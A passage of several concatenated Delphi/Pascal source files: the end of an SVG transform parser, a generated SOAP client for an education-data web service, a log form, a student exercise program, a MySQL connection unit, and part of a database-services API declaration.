FillChar(Result, SizeOf(Result), 0);
S := Trim(ATransform);
while S <> '' do
begin
Start := Pos('(', S);
Stop := Pos(')', S);
if (Start = 0) or (Stop = 0) then
Exit;
TType := Trim(Copy(S, 1, Start - 1));
Values := Trim(Copy(S, Start + 1, Stop - Start - 1));
Values := StringReplace(Values, ' ', ',', [rfReplaceAll]);
if TType = 'matrix' then
begin
M := GetMatrix(Values);
end
else if TType = 'translate' then
begin
M := GetTranslate(Values);
end
else if TType = 'scale' then
begin
M := GetScale(Values);
end
else if TType = 'rotate' then
begin
M := GetRotation(Values);
end
else if TType = 'skewX' then
begin
M := GetSkewX(Values);
end
else if TType = 'skewY' then
begin
M := GetSkewY(Values);
end;
if not M.IsEmpty then
begin
if Result.IsEmpty then
Result := M
else
Result := M * Result;
end;
S := Trim(Copy(S, Stop + 1, Length(S)));
end;
end;
function ParseDisplay(const ADisplay: string): TTriStateBoolean;
begin
if ADisplay = 'inherit' then
Result := tbInherit
else if ADisplay = 'none' then
Result := tbFalse
else
Result := tbTrue;
end;
function ParseVisibility(const AVisibility: string): TTriStateBoolean;
begin
if AVisibility = 'inherit' then
Result := tbInherit
else if AVisibility = 'visible' then
Result := tbTrue
else
Result := tbFalse;
end;
function ParseClass(const AClass: string): TArray<string>;
{$IF CompilerVersion < 28}
procedure DeleteElement(var A: TArray<string>; const Index: Cardinal;
Count: Cardinal = 1);
var
ALength: Cardinal;
i: Cardinal;
begin
ALength := Length(A);
for i := Index + Count to ALength - 1 do
A[i - Count] := A[i];
SetLength(A, ALength - Count);
end;
{$IFEND}
function SplitClassOnComma : TArray<string>;
{$IF CompilerVersion < 24.0 }
var
SplitPoints : integer;
i : integer;
StartIdx : integer;
CurrentSplit : integer;
FoundIdx : integer;
begin
SetLength(Result, 0);
if AClass <> '' then
begin
{ Determine the length of the resulting array }
SplitPoints := 0;
for i := 1 to Length(AClass) do
if AClass[i] = ',' then
Inc(SplitPoints);
SetLength(Result, SplitPoints + 1);
{ Split the string and fill the resulting array }
StartIdx := 1;
CurrentSplit := 0;
repeat
FoundIdx := PosEx(',',AClass, StartIdx);
if FoundIdx <> 0 then
begin
Result[CurrentSplit] := Copy(AClass, StartIdx, FoundIdx - StartIdx);
Inc(CurrentSplit);
StartIdx := FoundIdx + 1;
end;
until CurrentSplit = SplitPoints;
// copy the remaining part in case the string does not end in a delimiter
Result[SplitPoints] := Copy(AClass, StartIdx, Length(AClass) - StartIdx + 1);
end;
end;
{$ELSE}
begin
result := AClass.Split([',']);
end;
{$IFEND}
Var
I: Integer;
begin
Result := SplitClassOnComma;
for I := Length(Result) - 1 downto 0 do
begin
Result[I] := Trim(Result[I]);
if Result[I] = '' then
{$IF CompilerVersion < 28}
DeleteElement(Result, I, 1);
{$ELSE}
System.Delete(Result, I , 1);
{$IFEND}
end;
end;
function ParseGradientUnits(const AGradientUnit: string): TGradientUnits;
begin
Result := guObjectBoundingBox; // 'objectBoundingBox' default
if AGradientUnit = 'userSpaceOnUse' then
Result := guUserSpaceOnUse
end;
function ParseFontWeight(const S: string): Integer;
begin
Result := FW_NORMAL;
if S = 'normal' then Result := FW_NORMAL
else if S = 'bold' then Result := FW_BOLD
else if S = 'bolder' then Result := FW_EXTRABOLD
else if S = 'lighter' then Result := FW_LIGHT
else TryStrToInt(S, Result);
end;
procedure ParseTextDecoration(const S: string; var TD: TTextDecoration);
Var
SL: TStringList;
begin
SL := TStringList.Create;
try
SL.Delimiter := ' ';
SL.DelimitedText := S;
if SL.IndexOf('underline') > -1 then
begin
Exclude(TD, tdInherit);
Include(TD, tdUnderLine);
end;
if SL.IndexOf('overline') > -1 then
begin
Exclude(TD, tdInherit);
Include(TD, tdOverLine);
end;
if SL.IndexOf('line-through') > -1 then
begin
Exclude(TD, tdInherit);
Include(TD, tdStrikeOut);
end;
if SL.IndexOf('none') > -1 then
TD := [];
finally
SL.Free;
end;
end;
function ParseFontStyle(AFontStyle: string): Integer;
begin
Result := FontNormal;
if AFontStyle = 'italic' then
Result := SVGTypes.FontItalic;
end;
end.
|
// ************************************************************************ //
// The types declared in this file were generated from data read from the
// WSDL File described below:
// WSDL : D:\WebServiceIntf\Delphi7\EDBOGuides.wsdl
// >Import : D:\WebServiceIntf\Delphi7\EDBOGuides.wsdl:0
// Encoding : utf-8
// Version : 1.0
// (22.02.2013 22:35:26 - * $Rev: 5154 $)
// ************************************************************************ //
unit EDBOGuides;
interface
uses InvokeRegistry, SOAPHTTPClient, Types, XSBuiltIns;
const
IS_OPTN = $0001;
IS_UNBD = $0002;
IS_NLBL = $0004;
IS_UNQL = $0008;
IS_ATTR = $0010;
IS_TEXT = $0020;
type
// ************************************************************************ //
// The following types, referred to in the WSDL document are not being represented
// in this file. They are either aliases[@] of other types represented or were referred
// to but never[!] declared in the document. The types from the latter category
// typically map to predefined/known XML or Borland types; however, they could also
// indicate incorrect WSDL documents that failed to declare or import a schema type.
// ************************************************************************ //
// !:int - "http://www.w3.org/2001/XMLSchema"
// !:string - "http://www.w3.org/2001/XMLSchema"
// !:dateTime - "http://www.w3.org/2001/XMLSchema"
ExtensionDataObject = class; { "http://edboservice.ua/"[GblCplx] }
dAcademicYears = class; { "http://edboservice.ua/"[GblCplx] }
dLastError = class; { "http://edboservice.ua/"[GblCplx] }
ArrayOfDAcademicYears = array of dAcademicYears; { "http://edboservice.ua/"[GblCplx] }
// ************************************************************************ //
// XML : ExtensionDataObject, global, <complexType>
// Namespace : http://edboservice.ua/
// ************************************************************************ //
ExtensionDataObject = class(TRemotable)
private
published
end;
// ************************************************************************ //
// XML : dAcademicYears, global, <complexType>
// Namespace : http://edboservice.ua/
// ************************************************************************ //
dAcademicYears = class(TRemotable)
private
FExtensionData: ExtensionDataObject;
FExtensionData_Specified: boolean;
FId_AcademicYear: Integer;
FAcademicYearName: WideString;
FAcademicYearName_Specified: boolean;
FAcademicYearDescription: WideString;
FAcademicYearDescription_Specified: boolean;
FAcademicYearDateBegin: TXSDateTime;
FAcademicYearDateEnd: TXSDateTime;
FAcademicYearDatelLastChange: TXSDateTime;
FAcademicYearIsActive: Integer;
procedure SetExtensionData(Index: Integer; const AExtensionDataObject: ExtensionDataObject);
function ExtensionData_Specified(Index: Integer): boolean;
procedure SetAcademicYearName(Index: Integer; const AWideString: WideString);
function AcademicYearName_Specified(Index: Integer): boolean;
procedure SetAcademicYearDescription(Index: Integer; const AWideString: WideString);
function AcademicYearDescription_Specified(Index: Integer): boolean;
public
destructor Destroy; override;
published
property ExtensionData: ExtensionDataObject Index (IS_OPTN) read FExtensionData write SetExtensionData stored ExtensionData_Specified;
property Id_AcademicYear: Integer read FId_AcademicYear write FId_AcademicYear;
property AcademicYearName: WideString Index (IS_OPTN) read FAcademicYearName write SetAcademicYearName stored AcademicYearName_Specified;
property AcademicYearDescription: WideString Index (IS_OPTN) read FAcademicYearDescription write SetAcademicYearDescription stored AcademicYearDescription_Specified;
property AcademicYearDateBegin: TXSDateTime read FAcademicYearDateBegin write FAcademicYearDateBegin;
property AcademicYearDateEnd: TXSDateTime read FAcademicYearDateEnd write FAcademicYearDateEnd;
property AcademicYearDatelLastChange: TXSDateTime read FAcademicYearDatelLastChange write FAcademicYearDatelLastChange;
property AcademicYearIsActive: Integer read FAcademicYearIsActive write FAcademicYearIsActive;
end;
ArrayOfDLastError = array of dLastError; { "http://edboservice.ua/"[GblCplx] }
// ************************************************************************ //
// XML : dLastError, global, <complexType>
// Namespace : http://edboservice.ua/
// ************************************************************************ //
dLastError = class(TRemotable)
private
FExtensionData: ExtensionDataObject;
FExtensionData_Specified: boolean;
FLastErrorCode: Integer;
FLastErrorDescription: WideString;
FLastErrorDescription_Specified: boolean;
procedure SetExtensionData(Index: Integer; const AExtensionDataObject: ExtensionDataObject);
function ExtensionData_Specified(Index: Integer): boolean;
procedure SetLastErrorDescription(Index: Integer; const AWideString: WideString);
function LastErrorDescription_Specified(Index: Integer): boolean;
public
destructor Destroy; override;
published
property ExtensionData: ExtensionDataObject Index (IS_OPTN) read FExtensionData write SetExtensionData stored ExtensionData_Specified;
property LastErrorCode: Integer read FLastErrorCode write FLastErrorCode;
property LastErrorDescription: WideString Index (IS_OPTN) read FLastErrorDescription write SetLastErrorDescription stored LastErrorDescription_Specified;
end;
// ************************************************************************ //
// Namespace : http://edboservice.ua/
// soapAction: http://edboservice.ua/%operationName%
// transport : http://schemas.xmlsoap.org/soap/http
// style : document
// binding : EDBOGuidesSoap
// service : EDBOGuides
// port : EDBOGuidesSoap
// URL : http://test.edbo.gov.ua/EDBOGuides/EDBOGuides.asmx
// ************************************************************************ //
EDBOGuidesSoap = interface(IInvokable)
['{3388FE85-720C-04EE-2F43-F032C77ACE1C}']
function AcademicYearsGet(const SessionGUID: WideString; const Id_Language: Integer): ArrayOfDAcademicYears; stdcall;
function Login(const User: WideString; const Password: WideString; const ClearPreviewSession: Integer; const ApplicationKey: WideString): WideString; stdcall;
function GetLastError(const session: WideString): ArrayOfDLastError; stdcall;
end;
function GetEDBOGuidesSoap(UseWSDL: Boolean=System.False; Addr: string=''; HTTPRIO: THTTPRIO = nil): EDBOGuidesSoap;
implementation
uses SysUtils;
function GetEDBOGuidesSoap(UseWSDL: Boolean; Addr: string; HTTPRIO: THTTPRIO): EDBOGuidesSoap;
const
defWSDL = 'D:\WebServiceIntf\Delphi7\EDBOGuides.wsdl';
defURL = 'http://test.edbo.gov.ua/EDBOGuides/EDBOGuides.asmx';
defSvc = 'EDBOGuides';
defPrt = 'EDBOGuidesSoap';
var
RIO: THTTPRIO;
begin
Result := nil;
if (Addr = '') then
begin
if UseWSDL then
Addr := defWSDL
else
Addr := defURL;
end;
if HTTPRIO = nil then
RIO := THTTPRIO.Create(nil)
else
RIO := HTTPRIO;
try
Result := (RIO as EDBOGuidesSoap);
if UseWSDL then
begin
RIO.WSDLLocation := Addr;
RIO.Service := defSvc;
RIO.Port := defPrt;
end else
RIO.URL := Addr;
finally
if (Result = nil) and (HTTPRIO = nil) then
RIO.Free;
end;
end;
destructor dAcademicYears.Destroy;
begin
FreeAndNil(FExtensionData);
FreeAndNil(FAcademicYearDateBegin);
FreeAndNil(FAcademicYearDateEnd);
FreeAndNil(FAcademicYearDatelLastChange);
inherited Destroy;
end;
procedure dAcademicYears.SetExtensionData(Index: Integer; const AExtensionDataObject: ExtensionDataObject);
begin
FExtensionData := AExtensionDataObject;
FExtensionData_Specified := True;
end;
function dAcademicYears.ExtensionData_Specified(Index: Integer): boolean;
begin
Result := FExtensionData_Specified;
end;
procedure dAcademicYears.SetAcademicYearName(Index: Integer; const AWideString: WideString);
begin
FAcademicYearName := AWideString;
FAcademicYearName_Specified := True;
end;
function dAcademicYears.AcademicYearName_Specified(Index: Integer): boolean;
begin
Result := FAcademicYearName_Specified;
end;
procedure dAcademicYears.SetAcademicYearDescription(Index: Integer; const AWideString: WideString);
begin
FAcademicYearDescription := AWideString;
FAcademicYearDescription_Specified := True;
end;
function dAcademicYears.AcademicYearDescription_Specified(Index: Integer): boolean;
begin
Result := FAcademicYearDescription_Specified;
end;
destructor dLastError.Destroy;
begin
FreeAndNil(FExtensionData);
inherited Destroy;
end;
procedure dLastError.SetExtensionData(Index: Integer; const AExtensionDataObject: ExtensionDataObject);
begin
FExtensionData := AExtensionDataObject;
FExtensionData_Specified := True;
end;
function dLastError.ExtensionData_Specified(Index: Integer): boolean;
begin
Result := FExtensionData_Specified;
end;
procedure dLastError.SetLastErrorDescription(Index: Integer; const AWideString: WideString);
begin
FLastErrorDescription := AWideString;
FLastErrorDescription_Specified := True;
end;
function dLastError.LastErrorDescription_Specified(Index: Integer): boolean;
begin
Result := FLastErrorDescription_Specified;
end;
initialization
InvRegistry.RegisterInterface(TypeInfo(EDBOGuidesSoap), 'http://edboservice.ua/', 'utf-8');
InvRegistry.RegisterDefaultSOAPAction(TypeInfo(EDBOGuidesSoap), 'http://edboservice.ua/%operationName%');
InvRegistry.RegisterInvokeOptions(TypeInfo(EDBOGuidesSoap), ioDocument);
RemClassRegistry.RegisterXSInfo(TypeInfo(ArrayOfDAcademicYears), 'http://edboservice.ua/', 'ArrayOfDAcademicYears');
RemClassRegistry.RegisterXSClass(ExtensionDataObject, 'http://edboservice.ua/', 'ExtensionDataObject');
RemClassRegistry.RegisterXSClass(dAcademicYears, 'http://edboservice.ua/', 'dAcademicYears');
RemClassRegistry.RegisterXSInfo(TypeInfo(ArrayOfDLastError), 'http://edboservice.ua/', 'ArrayOfDLastError');
RemClassRegistry.RegisterXSClass(dLastError, 'http://edboservice.ua/', 'dLastError');
end. |
unit LogUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TLogForm = class(TForm)
LogMemo: TMemo;
private
{ Private declarations }
public
{ Public declarations }
procedure AddLog(log:string);
end;
var
LogForm: TLogForm;
implementation
{$R *.dfm}
procedure TLogForm.AddLog(log:string);
begin
LogMemo.Lines.Add(log);
end;
end.
|
{ NAME: Jordan Millett
CLASS: Comp Sci 1
DATE: 9/22/2016
PURPOSE: INPUT: Ask user for:
Name
Age
Favorite Color
OUTPUT:
Name is ___ days old
Name is a (child, teen , adult)
Name likes the color ___
Notes:
365 days in a year
0 --- 12 child
13 --- 19 teen
20+ adult
Above & Beyond:
accurate to the day
color coded messages
age in different scales
}
Program nameage;
uses
crt;
var
Name,color,agetype:string;
age, days:integer;
bgcolor:char;
begin {main}
write('How old are you? ');
readln(Age);
writeln;
days:=age * 365;
write('What is your name? ');
readln(name);
writeln;
writeln('What is your favorite color?');
writeln('Blue = B');
writeln('Yellow = Y');
writeln('Red = R');
readln(bgcolor);
bgcolor:=upcase(bgcolor);
if (bgcolor ='B') then
textbackground(Blue) else
if (bgcolor ='R') then
textbackground(Red) else
if (bgcolor ='Y') then
textbackground(Yellow) else
begin
writeln('I am too lazy to program more colors in or your answer was incorrect');
readkey;
end;
if (bgcolor='R') then
color:='red';
if (bgcolor='Y') then
color:='yellow';
if (bgcolor='B') then
color:='blue';
if(age <= 12) then
agetype:='child';
if(age >= 13 ) and (age <=19) then
agetype:='teen';
if(age >= 20) then
agetype:='adult';
writeln;
writeln(name,' is ',days,' days old and is a ',agetype);
readkey;
if (bgcolor='R') or (bgcolor='B') or (bgcolor='Y') then
Begin
writeln(name,' likes the color ',color);
end else
writeln(name,' likes that i did not program in');
readkey;
{type some really cool code here}
end. {main}
|
unit ServerReact.Model.Connection;
interface
uses
FireDAC.Stan.Intf, FireDAC.Stan.Option,
FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf, FireDAC.Stan.Def,
FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys, FireDAC.VCLUI.Wait,
Data.DB, FireDAC.Comp.Client, FireDAC.DApt, FireDAC.Phys.MySQLDef, FireDAC.Phys.MySQL;
var
FConn : TFDConnection;
function Connected: TFDConnection;
procedure Disconnected;
implementation
function Connected: TFDConnection;
begin
FConn := TFDConnection.Create(nil);
FConn.Params.DriverID := 'MySQL';
FConn.Params.Database := 'dbreact';
FConn.Params.UserName := 'root';
FConn.Params.Password := '';
FConn.Params.Add('Port=3306');
FConn.Params.Add('Server=localhost');
FConn.Connected;
Result := FConn;
end;
procedure Disconnected;
begin
if Assigned(FConn) then
begin
FConn.Connected := False;
FConn.Free;
end;
end;
end.
|
unit ibSHServicesAPI;
interface
uses
Windows, SysUtils, Classes, Controls, Forms,
SHDesignIntf,
ibSHDesignIntf, ibSHDriverIntf, ibSHTool;
type
TibSHService = class(TibBTTool, IibSHService, IibSHBranch, IfbSHBranch)
private
FDatabaseName: string;
FErrorText: string;
FServer: string;
FUserName: string;
FPassword: string;
function GetServer: string;
procedure SetServer(Value: string);
function GetUserName: string;
procedure SetUserName(Value: string);
function GetPassword: string;
procedure SetPassword(Value: string);
procedure WriteString(S: string);
protected
FOnTextNotify: TSHOnTextNotify;
procedure SetOwnerIID(Value: TGUID); override;
function GetDRVService: IibSHDRVService;
function GetDatabaseName: string;
procedure SetDatabaseName(Value: string);
function GetErrorText: string;
procedure SetErrorText(Value: string);
function GetOnTextNotify: TSHOnTextNotify;
procedure SetOnTextNotify(Value: TSHOnTextNotify);
function Execute: Boolean; virtual;
function InternalExecute: Boolean; virtual;
public
property DRVService: IibSHDRVService read GetDRVService;
property DatabaseName: string read GetDatabaseName write SetDatabaseName;
property ErrorText: string read GetErrorText write SetErrorText;
property OnTextNotify: TSHOnTextNotify read GetOnTextNotify write SetOnTextNotify;
published
property Server: string read GetServer write SetServer;
property UserName: string read GetUserName write SetUserName;
property Password: string read GetPassword write SetPassword;
end;
TibSHServerProps = class(TibSHService, IibSHServerProps, IibSHBranch, IfbSHBranch)
private
FLocationInfo: Boolean;
FVersionInfo: Boolean;
FDatabaseInfo: Boolean;
FLicenseInfo: Boolean;
FConfigInfo: Boolean;
function GetLocationInfo: Boolean;
procedure SetLocationInfo(Value: Boolean);
function GetVersionInfo: Boolean;
procedure SetVersionInfo(Value: Boolean);
function GetDatabaseInfo: Boolean;
procedure SetDatabaseInfo(Value: Boolean);
function GetLicenseInfo: Boolean;
procedure SetLicenseInfo(Value: Boolean);
function GetConfigInfo: Boolean;
procedure SetConfigInfo(Value: Boolean);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property LocationInfo: Boolean read GetLocationInfo write SetLocationInfo;
property VersionInfo: Boolean read GetVersionInfo write SetVersionInfo;
property DatabaseInfo: Boolean read GetDatabaseInfo write SetDatabaseInfo;
property LicenseInfo: Boolean read GetLicenseInfo write SetLicenseInfo;
property ConfigInfo: Boolean read GetConfigInfo write SetConfigInfo;
end;
TibSHServerLog = class(TibSHService, IibSHServerLog, IibSHBranch, IfbSHBranch)
protected
function InternalExecute: Boolean; override;
end;
TibSHServerConfig = class(TibSHService, IibSHServerConfig, IibSHBranch, IfbSHBranch)
end;
TibSHServerLicense = class(TibSHService, IibSHServerLicense, IibSHBranch, IfbSHBranch)
end;
TibSHDatabaseShutdown = class(TibSHService, IibSHDatabaseShutdown, IibSHBranch, IfbSHBranch)
private
FMode: string;
FTimeout: Integer;
function GetMode: string;
procedure SetMode(Value: string);
function GetTimeout: Integer;
procedure SetTimeout(Value: Integer);
function CloseAllDatabases: Boolean;
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property Mode: string read GetMode write SetMode;
property Timeout: Integer read GetTimeout write SetTimeout;
end;
TibSHDatabaseOnline = class(TibSHService, IibSHDatabaseOnline, IibSHBranch, IfbSHBranch)
protected
function InternalExecute: Boolean; override;
end;
TibSHBackupRestoreService = class(TibSHService, IibSHBackupRestoreService)
private
FSourceFileList: TStrings;
FDestinationFileList: TStrings;
FVerbose: Boolean;
function GetSourceFileList: TStrings;
function GetDestinationFileList: TStrings;
function GetVerbose: Boolean;
procedure SetVerbose(Value: Boolean);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property SourceFileList: TStrings read GetSourceFileList;
property DestinationFileList: TStrings read GetDestinationFileList;
property Verbose: Boolean read GetVerbose write SetVerbose;
end;
TibSHDatabaseBackup = class(TibSHBackupRestoreService, IibSHDatabaseBackup, IibSHBranch, IfbSHBranch)
private
FTransportable: Boolean;
FMetadataOnly: Boolean;
FNoGarbageCollect: Boolean;
FIgnoreLimboTrans: Boolean;
FIgnoreChecksums: Boolean;
FOldMetadataDesc: Boolean;
FConvertExtTables: Boolean;
function GetTransportable: Boolean;
procedure SetTransportable(Value: Boolean);
function GetMetadataOnly: Boolean;
procedure SetMetadataOnly(Value: Boolean);
function GetNoGarbageCollect: Boolean;
procedure SetNoGarbageCollect(Value: Boolean);
function GetIgnoreLimboTrans: Boolean;
procedure SetIgnoreLimboTrans(Value: Boolean);
function GetIgnoreChecksums: Boolean;
procedure SetIgnoreChecksums(Value: Boolean);
function GetOldMetadataDesc: Boolean;
procedure SetOldMetadataDesc(Value: Boolean);
function GetConvertExtTables: Boolean;
procedure SetConvertExtTables(Value: Boolean);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property Transportable: Boolean read GetTransportable write SetTransportable;
property MetadataOnly: Boolean read GetMetadataOnly write SetMetadataOnly;
property NoGarbageCollect: Boolean read GetNoGarbageCollect write SetNoGarbageCollect;
property IgnoreLimboTrans: Boolean read GetIgnoreLimboTrans write SetIgnoreLimboTrans;
property IgnoreChecksums: Boolean read GetIgnoreChecksums write SetIgnoreChecksums;
property OldMetadataDesc: Boolean read GetOldMetadataDesc write SetOldMetadataDesc;
property ConvertExtTables: Boolean read GetConvertExtTables write SetConvertExtTables;
property Verbose;
end;
TibSHDatabaseRestore = class(TibSHBackupRestoreService, IibSHDatabaseRestore, IibSHBranch, IfbSHBranch)
private
FPageSize: string;
FReplaceExisting: Boolean;
FMetadataOnly: Boolean;
FCommitEachTable: Boolean;
FWithoutShadow: Boolean;
FDeactivateIndexes: Boolean;
FNoValidityCheck: Boolean;
FUseAllSpace: Boolean;
function GetPageSize: string;
procedure SetPageSize(Value: string);
function GetReplaceExisting: Boolean;
procedure SetReplaceExisting(Value: Boolean);
function GetMetadataOnly: Boolean;
procedure SetMetadataOnly(Value: Boolean);
function GetCommitEachTable: Boolean;
procedure SetCommitEachTable(Value: Boolean);
function GetWithoutShadow: Boolean;
procedure SetWithoutShadow(Value: Boolean);
function GetDeactivateIndexes: Boolean;
procedure SetDeactivateIndexes(Value: Boolean);
function GetNoValidityCheck: Boolean;
procedure SetNoValidityCheck(Value: Boolean);
function GetUseAllSpace: Boolean;
procedure SetUseAllSpace(Value: Boolean);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property PageSize: string read GetPageSize write SetPageSize;
property ReplaceExisting: Boolean read GetReplaceExisting write SetReplaceExisting;
property MetadataOnly: Boolean read GetMetadataOnly write SetMetadataOnly;
property CommitEachTable: Boolean read GetCommitEachTable write SetCommitEachTable;
property WithoutShadow: Boolean read GetWithoutShadow write SetWithoutShadow;
property DeactivateIndexes: Boolean read GetDeactivateIndexes write SetDeactivateIndexes;
property NoValidityCheck: Boolean read GetNoValidityCheck write SetNoValidityCheck;
property UseAllSpace: Boolean read GetUseAllSpace write SetUseAllSpace;
property Verbose;
end;
TibSHDatabaseStatistics = class(TibSHService, IibSHDatabaseStatistics, IibSHBranch, IfbSHBranch)
private
FStopAfter: string;
FTableName: string;
function GetStopAfter: string;
procedure SetStopAfter(Value: string);
function GetTableName: string;
procedure SetTableName(Value: string);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property StopAfter: string read GetStopAfter write SetStopAfter;
property TableName: string read GetTableName write SetTableName;
end;
TibSHDatabaseValidation = class(TibSHService, IibSHDatabaseValidation, IibSHBranch, IfbSHBranch)
private
FRecordFragments: Boolean;
FIgnoreChecksum: Boolean;
FReadOnly: Boolean;
FKillShadows: Boolean;
function GetRecordFragments: Boolean;
procedure SetRecordFragments(Value: Boolean);
function GetReadOnly: Boolean;
procedure SetReadOnly(Value: Boolean);
function GetIgnoreChecksum: Boolean;
procedure SetIgnoreChecksum(Value: Boolean);
function GetKillShadows: Boolean;
procedure SetKillShadows(Value: Boolean);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property RecordFragments: Boolean read GetRecordFragments write SetRecordFragments;
property ReadOnly: Boolean read GetReadOnly write SetReadOnly;
property IgnoreChecksum: Boolean read GetIgnoreChecksum write SetIgnoreChecksum;
property KillShadows: Boolean read GetKillShadows write SetKillShadows;
end;
TibSHDatabaseSweep = class(TibSHService, IibSHDatabaseSweep, IibSHBranch, IfbSHBranch)
private
FIgnoreChecksum: Boolean;
function GetIgnoreChecksum: Boolean;
procedure SetIgnoreChecksum(Value: Boolean);
protected
function InternalExecute: Boolean; override;
published
property IgnoreChecksum: Boolean read GetIgnoreChecksum write SetIgnoreChecksum;
end;
TibSHDatabaseMend = class(TibSHService, IibSHDatabaseMend, IibSHBranch, IfbSHBranch)
private
FIgnoreChecksum: Boolean;
function GetIgnoreChecksum: Boolean;
procedure SetIgnoreChecksum(Value: Boolean);
protected
function InternalExecute: Boolean; override;
published
property IgnoreChecksum: Boolean read GetIgnoreChecksum write SetIgnoreChecksum;
end;
TibSHTransactionRecovery = class(TibSHService, IibSHTransactionRecovery, IibSHBranch, IfbSHBranch)
private
FGlobalAction: string;
FFixLimbo: string;
function GetGlobalAction: string;
procedure SetGlobalAction(Value: string);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
property GlobalAction: string read GetGlobalAction write SetGlobalAction;
property FixLimbo: string read FFixLimbo;
end;
TibSHDatabaseProps = class(TibSHService, IibSHDatabaseProps, IibSHBranch, IfbSHBranch)
private
FIntDatabase: TComponent;
FIntDatabaseIntf: IibSHDatabase;
FODSVersion: string;
FCharset: string;
FPageSize: string;
FActiveUsers: TStrings;
FSweepInterval: Integer;
FForcedWrites: Boolean;
FReadOnly: Boolean;
FSQLDialect: string;
FPageBuffers: Integer;
function GetODSVersion: string;
// procedure SetODSVersion(Value: string);
function GetCharset: string;
// procedure SetCharset(Value: string);
function GetPageSize: string;
// procedure SetPageSize(Value: string);
function GetActiveUsers: TStrings;
function GetSweepInterval: Integer;
procedure SetSweepInterval(Value: Integer);
function GetForcedWrites: Boolean;
procedure SetForcedWrites(Value: Boolean);
function GetReadOnly: Boolean;
procedure SetReadOnly(Value: Boolean);
function GetSQLDialect: string;
procedure SetSQLDialect(Value: string);
function GetPageBuffers: Integer;
procedure SetPageBuffers(Value: Integer);
protected
function InternalExecute: Boolean; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
property ActiveUsers: TStrings read GetActiveUsers;
published
property ODSVersion: string read GetODSVersion;// write SetODSVersion;
property Charset: string read GetCharset;// write SetCharset;
property PageSize: string read GetPageSize;// write SetPageSize;
property PageBuffers: Integer read GetPageBuffers write SetPageBuffers;
property SQLDialect: string read GetSQLDialect write SetSQLDialect;
property SweepInterval: Integer read GetSweepInterval write SetSweepInterval;
property ForcedWrites: Boolean read GetForcedWrites write SetForcedWrites;
property ReadOnly: Boolean read GetReadOnly write SetReadOnly;
end;
TibSHServicesFactory = class(TibBTToolFactory)
end;
procedure Register;
implementation
uses
ibSHConsts, ibSHValues,
ibSHServicesAPIActions,
ibSHServicesAPIEditors;
procedure Register;
begin
SHRegisterImage(GUIDToString(IibSHServerProps), 'ServerProps.bmp');
SHRegisterImage(GUIDToString(IibSHServerLog), 'Log.bmp');
SHRegisterImage(GUIDToString(IibSHServerConfig), 'Server.bmp');
SHRegisterImage(GUIDToString(IibSHServerLicense), 'Server.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseShutdown), 'Shutdown.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseOnline), 'Online.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseBackup), 'Backup.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseRestore), 'Restore.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseStatistics), 'Statistics.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseProps), 'DatabaseProps.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseValidation), 'Validation.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseSweep), 'Sweep.bmp');
SHRegisterImage(GUIDToString(IibSHDatabaseMend), 'Mend.bmp');
SHRegisterImage(GUIDToString(IibSHTransactionRecovery), 'TrRecovery.bmp');
SHRegisterImage(TibSHServerLogPaletteAction.ClassName, 'Log.bmp');
SHRegisterImage(TibSHServerPropsPaletteAction.ClassName, 'ServerProps.bmp');
SHRegisterImage(TibSHDatabasePropsPaletteAction.ClassName, 'DatabaseProps.bmp');
SHRegisterImage(TibSHDatabaseStatisticsPaletteAction.ClassName, 'Statistics.bmp');
SHRegisterImage(TibSHDatabaseShutdownPaletteAction.ClassName, 'Shutdown.bmp');
SHRegisterImage(TibSHDatabaseOnlinePaletteAction.ClassName, 'Online.bmp');
SHRegisterImage(TibSHDatabaseBackupPaletteAction.ClassName, 'Backup.bmp');
SHRegisterImage(TibSHDatabaseRestorePaletteAction.ClassName, 'Restore.bmp');
SHRegisterImage(TibSHDatabaseValidationPaletteAction.ClassName, 'Validation.bmp');
SHRegisterImage(TibSHDatabaseSweepPaletteAction.ClassName, 'Sweep.bmp');
SHRegisterImage(TibSHDatabaseMendPaletteAction.ClassName, 'Mend.bmp');
SHRegisterImage(TibSHServiceFormAction.ClassName, 'Form_Output.bmp');
SHRegisterImage(TibSHServiceToolbarAction_Run.ClassName, 'Button_Run.bmp');
SHRegisterImage(TibSHServiceToolbarAction_Open.ClassName, 'Button_Open.bmp');
SHRegisterImage(TibSHServiceToolbarAction_Save.ClassName, 'Button_Save.bmp');
SHRegisterImage(SCallServiceOutputs, 'Form_Output.bmp');
SHRegisterComponents([
TibSHServerLog,
TibSHServerProps,
TibSHDatabaseProps,
TibSHDatabaseStatistics,
TibSHDatabaseShutdown,
TibSHDatabaseOnline,
TibSHDatabaseBackup,
TibSHDatabaseRestore,
TibSHDatabaseValidation,
TibSHDatabaseSweep,
TibSHDatabaseMend,
// TibSHTransactionRecovery,
TibSHServicesFactory]);
SHRegisterActions([
TibSHServerLogPaletteAction,
TibSHServerPropsPaletteAction,
TibSHDatabasePropsPaletteAction,
TibSHDatabaseStatisticsPaletteAction,
TibSHDatabaseShutdownPaletteAction,
TibSHDatabaseOnlinePaletteAction,
TibSHDatabaseBackupPaletteAction,
TibSHDatabaseRestorePaletteAction,
